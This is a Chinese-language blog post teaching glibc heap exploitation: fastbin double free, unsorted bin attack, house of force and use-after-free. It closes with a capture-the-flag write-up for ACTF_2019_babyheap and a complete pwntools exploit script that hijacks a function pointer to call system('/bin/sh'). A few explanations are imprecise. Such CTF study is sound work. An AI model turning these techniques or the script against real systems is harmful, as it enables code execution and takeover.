堆溢出(一)


1.fast bin attack

double free 漏洞

  • 攻击目的:实现向栈上写入数据
#include <stdio.h>
#include <stdlib.h>
int main(){
    void * ptr = malloc(0x10);
    void * p = malloc(0x10);
    free(ptr);
    free(p);
    free(ptr);
    void * a = malloc(0x10);   //分配了ptr原本指向的地址的free chunk
    malloc(0x10);   //分配掉p原本指向的地址处的free chunk
    //此时bin中还存放着原本ptr指向的地址
    read(0,a,0x10);  //向a中写入一个我们想要篡改其内容的地址减去两个字节(因为fd指向chunk的最开始的地址,而在我们可以写入的空间上面还有prev_size和size两个字长的数据),但因为bin中也有这个地址处的内存,所以会使得fd指针指向这里所写入的地址,标记为下一块free chunk,如果写入一个栈上的地址,则bin中就会链接一个栈上的内存为free chunk
    void * b = malloc(0x10);   // 分配的是上面写入的栈地址处的一块栈上的内存
    read(0,b,0x10);    //实现任意地址写入
    return 0;
}

漏洞原理:两次free相同的地址空间,使得bin连接了两块相同的地址空间。

image-20240811154104342

2.unsorted bin attack

一般利用它为fast bin attack创造攻击环境。

  • 攻击目的:将限制fast bin可链接chunk大小的变量篡改为一个很大的值(unsorted bin的地址)。

  • 原理:将unsorted bin中仅存的一块chunkbk指针篡改为我们期望修改的栈上的一个变量的地址,然后malloc掉这块chunk,这时unsorted bin为空,它就会主动地寻找被malloc掉的这块chunkbk所指向的地址,将其链接到unsorted bin中,这时就把栈上我们所期望修改的变量的地址链接到了unsorted bin中作为新的chunk—>new_chunknew_chunkbk指针也会指向unsorted bin的地址,由于unsorted bin是存储在libc中数据段上的,它的地址非常大,而new_chunk同时又是存储在栈上的一块数据,所以bk内容也属于这个变量的数据区域,从而就会使这个变量变得非常大。

  • 攻击手段:于是我们通常将限制fast bin最大内存的变量作为我们期望修改的变量,将其值改为unsorted bin的地址这么一个很大的值,从而实现后续的free chunk都能被链接到fast bin中,然后我们就可以利用fast bin attack来进行任意地址写入了。

image-20240811162517223

3.top chunk attack

3.1 house_of_force

  • 攻击目的:利用堆溢出,将top chunksize篡改为非常非常大,使得之后malloc的时候可以分配到任意内存地址处的空间,从而篡改任意地址处的内容。
  • 利用漏洞:堆溢出和malloc本身的整数溢出。通过malloc正数或负数去抬高top chunk的顶端或抬低top chunk的底端。

4.UAF(use after free)

顾名思义,在free之后又调用,会造成内存泄漏。

漏洞原理:在free掉内存后没有free指针。

image-20240813190603035

ACTF_2019_babyheap

1.利用过程

image-20240928115540039

先申请两个堆块A 和 B,然后释放,这样两个结构体(大小为0x10)就会被放入fastbin中,然后再申请一个0x10的堆块,因为这道题中在申请堆块的时候除了会申请我们输入的size大小的堆块外,还是先自动分配一个0x10大小的struct堆块,所以struct C 就会覆盖掉struct B所在的fastbin中的堆块,content C就会覆盖掉structA,因为A的结构体中有函数指针和content指针,所以可以把函数指针覆盖为system,把content指针覆盖为/bin/sh的地址,然后利用show()函数,就会调用函数指针,从而成功getshell

####2.exp

from pwn import *
p = process('./pwn')
#p = remote('node5.buuoj.cn',29214)
context.arch = 'amd64'
system = 0x4007A0
bin_sh = 0x602010
def create(size,content):
    p.sendlineafter("Your choice:","1")
    p.sendlineafter("size:",str(size))
    p.sendafter("input content:",content)
def delete(index):
    p.sendlineafter("Your choice:","2")
    p.sendlineafter("list index:",str(index))
def show(index):
    p.sendlineafter("Your choice:","3")
    p.sendlineafter("list index:",str(index))
create(0x100,"A"*0x100)
create(0x100,"B"*0x100)
delete(0)
delete(1)

#gdb.attach(p)
#pause()
create(0x10,p64(bin_sh)+p64(system))
show(0)
p.interactive()

文章作者: 0x00dream
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 0x00dream !
  目录